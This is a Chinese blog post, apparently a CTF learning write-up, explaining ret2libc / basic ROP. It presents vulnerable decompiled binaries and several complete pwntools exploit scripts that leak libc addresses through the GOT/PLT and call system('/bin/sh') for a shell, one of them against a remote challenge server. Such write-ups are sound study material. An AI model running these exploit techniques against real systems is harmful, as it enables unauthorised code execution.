pwn----basic_ROP
Posted iridescense
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn----basic_ROP相关的知识,希望对你有一定的参考价值。
呜呜呜,今天弄了一天,终于弄明白利用libc的原理了
相关知识了解
是动态加载里的一个机制,函数在内存中的地址是随机化的,即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变,libc.so 动态链接库中的函数之间相对偏移是固定的。
所以可以控制put函数等泄露一些函数的地址,然后查询最后三位来确定利用的libc版本号。
先贴一道题
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
利用
from pwn import *
sh = process(\'./ret2libc3\')
put_plt = 0x08048460
put_got_plt = 0x804A018
payload = flat([108 * \'a\',p32(0),put_plt,0xdeadbeef,put_got_plt])
sh.sendlineafter("Can you find it !?",payload)
addr = hex(u32(sh.recv()[:4]))
print(addr)
可以获得puts的地址
再可以人工去查找,这里有个网站https://libc.blukat.me/输入函数名和16进制下的后3位就可以找到,还可以多泄露几个确定唯一
之后利用相对不变的偏移来获得libc中的system和/bin/sh,就可以布局栈了,特别注意要控制main重新开始一次程序
WA
#!/usr/bin/env python
from pwn import *
sh = process(\'./ret2libc3\')
ret2libc3 = ELF(\'./ret2libc3\')
#生成一个对象
puts_plt = ret2libc3.plt[\'puts\']
libc_start_main_got = ret2libc3.got[\'__libc_start_main\']
main = ret2libc3.symbols[\'main\']
#利用got和plt成员函数来获得对应的函数,就不要看ida了
payload = flat([\'A\' * 108,p32(0), puts_plt, main, libc_start_main_got])
#这个函数可以把字符串和数字连起来,比较舒服
sh.sendlineafter(\'Can you find it !?\', payload)
libc_start_main_addr = hex(u32(sh.recv()[0:4]))
#u32把字符串变成十进制数字,hex出来是字符串
system_addr = eval(libc_start_main_addr) + 0x22860
binsh_addr = eval(libc_start_main_addr) + 0x1435bb
#自己去查到偏移量
print "get shell"
payload = flat([\'A\' * 100, p32(0),system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
上面是自己改了 没用libcsearcher,感觉不好用
下面是ctf-wiki的原始方法
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process(\'./ret2libc3\')
ret2libc3 = ELF(\'./ret2libc3\')
puts_plt = ret2libc3.plt[\'puts\']
libc_start_main_got = ret2libc3.got[\'__libc_start_main\']
main = ret2libc3.symbols[\'main\']
#这里用symbols来获取地址
payload = flat([\'A\' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(\'Can you find it !?\', payload)
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher(\'__libc_start_main\', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump(\'__libc_start_main\')
system_addr = libcbase + libc.dump(\'system\')
binsh_addr = libcbase + libc.dump(\'str_bin_sh\')
这里的libcsearcher对象的dump函数计算出不变的偏移
payload = flat([\'A\' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
俩次填充不一样是因为从start处到main处发生了很多初始化,导致填充数发生了变化
在加一道攻防世界的题,学会利用函数来获得已知文件信息
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\\n", 7u);
return read(0, &buf, 0x100u);
}
WA
from pwn import *
p=remote(\'111.200.241.244\',52622)
#p=process(\'./level3\')
elf=ELF("./level3")
writeplt=elf.plt["write"]
writegot=elf.got["write"]
func=elf.symbols["vulnerable_function"]
libc=ELF("./libc_32.so.6")
writelibc=libc.symbols["write"]
syslibc=libc.symbols["system"]
binlibc=libc.search("/bin/sh").next()
payload1=\'a\'*140+p32(writeplt)+p32(func)+p32(1)+p32(writegot)+p32(4)
p.recvline()
p.sendline(payload1)
addr=p.recv(4)
writeaddr=u32(addr)
sysaddr=writeaddr-writelibc+syslibc
binaddr=writeaddr-writelibc+binlibc
payload2=\'a\'*140+p32(sysaddr)+p32(0xaaaa)+p32(binaddr)
p.recvuntil("Input:\\n")
p.sendline(payload2)
p.interactive()
注意这里也可以利用write进行发送的操作来获得函数的地址
(以上很多来自网上的经验贴,如果有侵权,请联系我,呜呜呜呜)
以上是关于pwn----basic_ROP的主要内容,如果未能解决你的问题,请参考以下文章